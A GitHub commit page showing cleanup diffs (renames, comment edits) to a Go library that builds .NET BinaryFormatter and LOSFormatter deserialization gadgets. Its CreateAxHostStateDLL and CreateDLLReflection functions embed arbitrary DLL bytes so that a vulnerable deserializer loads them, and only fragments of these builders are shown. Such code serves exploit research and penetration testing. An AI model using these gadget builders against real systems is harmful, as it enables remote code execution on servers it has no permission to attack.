Skip to content

Commit 01c510f

Browse files
some basic cleanup
1 parent 589711a commit 01c510f

File tree

3 files changed

+19
-23
lines changed

3 files changed

+19
-23
lines changed

dotnet/dotnetgadget.go

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -109,7 +109,7 @@ func IsValidXML(data []byte) bool {
109109
return xml.Unmarshal(data, new(interface{})) == nil
110110
}
111111

112-
func CreateAxHostStateDLL(DLLBytes []byte, formatter string) (string, bool) {
112+
func CreateAxHostStateDLL(dllBytes []byte, formatter string) (string, bool) {
113113
binaryLibrary := BinaryLibraryRecord{ID: 2, Library: "System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
114114
className := "System.Windows.Forms.AxHost+State"
115115
memberNames := []string{"PropertyBagBinary"}
@@ -119,7 +119,7 @@ func CreateAxHostStateDLL(DLLBytes []byte, formatter string) (string, bool) {
119119
"PrimitiveArray",
120120
}
121121

122-
innerNewGadget, ok := CreateDLLReflection(DLLBytes, BinaryFormatter)
122+
innerNewGadget, ok := CreateDLLReflection(dllBytes, BinaryFormatter)
123123
if !ok {
124124
return "", false
125125
}
@@ -161,11 +161,13 @@ func CreateAxHostStateDLL(DLLBytes []byte, formatter string) (string, bool) {
161161
return payload, true
162162
default:
163163
output.PrintFrameworkError("Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'")
164+
164165
return "", false
165166
}
166167
}
167168

168-
func CreateDLLReflection(DLLBytes []byte, formatter string) (string, bool) {
169+
// Serves a DLL in memory, can be used with CreateAxHostStateDLL and possibly elsewhere.
170+
func CreateDLLReflection(dllBytes []byte, formatter string) (string, bool) {
169171
// This one is so large that it makes more sense to just build the "final" gadget as we go, so that's what is going to happen with this one.
170172
var finalGadget string
171173
var records []Record
@@ -200,8 +202,6 @@ func CreateDLLReflection(DLLBytes []byte, formatter string) (string, bool) {
200202
var arraySingleObjectMemberValues []interface{}
201203

202204
/// Building inner types for the array
203-
// E | objectid | BT | RANK |Lengths | TE | AdditionalInfo
204-
// 07 | 03 00 00 00 | 01 | 01 00 00 00 | 01 00 00 00 | 07 | 02
205205
binaryArrayRecord := BinaryArrayRecord{
206206
ObjectID: 3,
207207
BinaryArrayTypeEnum: 1, // 1byte
@@ -343,9 +343,9 @@ func CreateDLLReflection(DLLBytes []byte, formatter string) (string, bool) {
343343

344344
// ASP ID 13
345345
arraySinglePrimitiveID13 := ArraySinglePrimitiveRecord{
346-
ArrayInfo: ArrayInfo{ObjectID: 13, MemberCount: len(DLLBytes)},
346+
ArrayInfo: ArrayInfo{ObjectID: 13, MemberCount: len(dllBytes)},
347347
PrimitiveTypeEnum: PrimitiveTypeEnum["Byte"],
348-
Members: string([]byte(DLLBytes)),
348+
Members: string(dllBytes),
349349
}
350350
records = append(records, arraySinglePrimitiveID13)
351351

@@ -925,7 +925,7 @@ func CreateDLLReflection(DLLBytes []byte, formatter string) (string, bool) {
925925
}
926926
records = append(records, classWithIDRecordID75)
927927

928-
// CW O80 DONE
928+
// CW O80
929929
classWithIDRecordID80 := ClassWithIDRecord{
930930
ObjectID: 0x4c,
931931
MetadataID: 0x42,
@@ -982,7 +982,7 @@ func CreateDLLReflection(DLLBytes []byte, formatter string) (string, bool) {
982982
}
983983
records = append(records, arraySingleObjectID79)
984984

985-
//SCWMT O130
985+
// SCWMT O130
986986
ID130MemberNames := []string{"_a", "_b", "_c", "_d", "_e", "_f", "_g", "_h", "_i", "_j", "_k"}
987987
ID130MemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive"}, ID130MemberNames, []interface{}{
988988
PrimitiveTypeEnum["Int32"],
@@ -1042,6 +1042,7 @@ func CreateDLLReflection(DLLBytes []byte, formatter string) (string, bool) {
10421042
return finalGadget, true
10431043
default:
10441044
output.PrintFrameworkError("Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'")
1045+
10451046
return "", false
10461047
}
10471048
}

dotnet/general_types.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ func (me PrimitiveInt16) PrimToString() string {
2828

2929
// A placeholder for lesser-used objects such as Single
3030
// Whatever you give it, will be placed in the stream exactly as given
31-
// Can't just pass a string because it will get 'processed' as a lengthPrefixedString, this avoids that
31+
// Can't just pass a string because it will get 'processed' as a lengthPrefixedString, this avoids that.
3232
func (me PrimitiveByteString) PrimToString() string {
3333
return string(me)
3434
}
@@ -189,7 +189,7 @@ func getMemberTypeInfo(memberTypes []string, memberNames []string, additionalInf
189189
}
190190

191191
// Gives us the expected expected binary string representation.
192-
// MemberTypeInfo output order: byteTypeEnums[]byte + []AdditionalInfo
192+
// MemberTypeInfo output order: byteTypeEnums[]byte + []AdditionalInfo.
193193
func (memberTypeInfo MemberTypeInfo) ToBin() (string, bool) {
194194
dataSequence := ""
195195
// build the array of binarytypeenums

dotnet/records.go

Lines changed: 7 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ type MemberPrimitiveTypedRecord struct {
2424
type BinaryArrayRecord struct {
2525
ObjectID int
2626
BinaryArrayTypeEnum int // 1byte
27-
Rank int // >=0
27+
Rank int
2828
Lengths []int
2929
LowerBounds []int
3030
TypeEnum int // 1byte
@@ -138,19 +138,19 @@ func (serializationHeaderRecord SerializationHeaderRecord) GetRecordType() int {
138138
}
139139

140140
func (binaryLibraryRecord BinaryLibraryRecord) GetRecordType() int {
141-
return RecordTypeEnumMap["BinaryLibrary"] // must be 12 for binaryLibraryRecord
141+
return RecordTypeEnumMap["BinaryLibrary"]
142142
}
143143

144144
func (memberReferenceRecord MemberReferenceRecord) GetRecordType() int {
145-
return RecordTypeEnumMap["MemberReference"] // must be 12 for binaryLibraryRecord
145+
return RecordTypeEnumMap["MemberReference"]
146146
}
147147

148148
func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) GetRecordType() int {
149-
return RecordTypeEnumMap["MemberPrimitiveTyped"] // must be 12 for binaryLibraryRecord
149+
return RecordTypeEnumMap["MemberPrimitiveTyped"]
150150
}
151151

152152
func (objectNullRecord ObjectNullRecord) GetRecordType() int {
153-
return RecordTypeEnumMap["ObjectNull"] // must be 12 for binaryLibraryRecord
153+
return RecordTypeEnumMap["ObjectNull"]
154154
}
155155

156156
// This one is different from the other recordbecause it usually is not processed within the 'context' of the member values, and needs to be called with information that is not present.
@@ -321,7 +321,7 @@ func (binaryArrayRecord BinaryArrayRecord) ToRecordBin() (string, bool) {
321321
return "", false
322322
}
323323

324-
typeInt, ok := addInfo.(int) // it seems these are primitive type enum values
324+
typeInt, ok := addInfo.(int)
325325
if ok {
326326
addInfoString += string(byte(typeInt))
327327

@@ -369,12 +369,6 @@ func (arraySingleObjectRecord ArraySingleObjectRecord) ToRecordBin() (string, bo
369369

370370
continue
371371
}
372-
//memberString, ok := member.(string)
373-
//if ok {
374-
//memberValuesString += memberString
375-
376-
//continue
377-
//}
378372
}
379373

380374
return recordByteString + objectIDString + memberCount + memberValuesString, true
@@ -394,6 +388,7 @@ func (objectNullMultiple256Record ObjectNullMultiple256Record) ToRecordBin() (st
394388
nullCountString := string(byte((objectNullMultiple256Record.NullCount)))
395389
if objectNullMultiple256Record.NullCount > 255 || objectNullMultiple256Record.NullCount < 0 {
396390
output.PrintFrameworkError("Invalid value for objectNullMultiple256Record.NullCount, MUST be between 0-255 (inclusive)")
391+
397392
return "", false
398393
}
399394

0 commit comments

Comments
 (0)